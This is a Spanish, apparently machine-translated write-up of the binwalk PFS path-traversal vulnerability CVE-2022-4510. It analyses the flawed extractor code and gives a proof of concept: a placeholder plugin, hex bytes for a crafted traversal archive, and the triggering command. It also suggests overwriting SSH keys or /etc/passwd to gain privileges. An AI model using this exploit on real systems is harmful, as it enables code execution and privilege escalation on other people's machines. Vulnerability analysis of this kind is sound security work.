Introducción
Según la descripción oficial de cve, se encontró una vulnerabilidad de cruce de ruta en binwalk desde la versión 2.1.2 a la 2.3.3. Esta vulnerabilidad permite que un atacante remoto ejecute código arbitrario en una máquina afectada con binwalk instalado
¿Qué es un archivo PFS?
Un archivo PFS es un archivo de selección creado por PhotoFiltre Studio, un programa de retoque de imágenes. Contiene las coordenadas utilizadas por la herramienta de selección de polígonos del editor de imágenes para dibujar líneas entre las coordenadas dadas. Los archivos PFS se almacenan en texto sin formato.
Formato de archivo PFS
https://lekensteyn.nl/files/pfs/pfs.txt
Analizar código fuente
Un complemento extractor de PFS se fusionó con binwalk en 2017 con algunas modificaciones
def extractor(self, fname):
fname = os.path.abspath(fname)
out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))
try:
with PFS(fname) as fs: #读取pfs文件数据
data = open(fname, 'rb')
data = binwalk.core.common.BlockFile(fname, 'rb')
data.seek(fs.get_end_of_meta_data())
for entry in fs.entries():
outfile_path = os.path.join(out_dir, entry.fname)
if not outfile_path.startswith(out_dir):
binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
else:
self._create_dir_from_fname(outfile_path)
outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
outfile.write(data.read(entry.fsize))
outfile.close()
data.close()
except KeyboardInterrupt as e:
raise e
El problema ocurre en la función os.path.join, porque el código de la línea 11 no resuelve completamente la ruta, por lo que la condición de la línea 12 nunca se cumplirá.
Al crear un archivo PFS de recorrido de ruta, podemos obligar a binwalk a escribir archivos fuera del directorio
punto de contacto
Los usuarios pueden usar la API de binwalk para definir sus propios complementos, simplemente coloque los complementos en el directorio $HOME/.config/binwalk/plugins/, y luego se llamará a los complementos cuando se ejecute binwalk.
Código malicioso:
import binwalk.core.plugin
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
print("baimao")
Abra el archivo con winhex después de guardar
Pegue los siguientes datos hexadecimales directamente
5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000
Guarde el .py como un archivo .pfs y agréguelo al paquete comprimido
Al usar binwalk para extraer archivos del directorio de inicio del usuario, se agregará un complemento a .config/binwalk/plugins, y binwalk cargará y ejecutará este complemento malicioso, lo que dará como resultado RCE
cd ~
binwalk -M -e exp.zip
código ejecutado con éxito
Resumir
El cve que reveló los detalles el 31 de enero de este año aprendió un poco, además de sobrescribir el archivo ./.config/binwalk/plugins/malwalk.py, también podemos sobrescribir el archivo id.rsa o /etc/passwd para escalar derechos directamente
Documentos de referencia:
https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk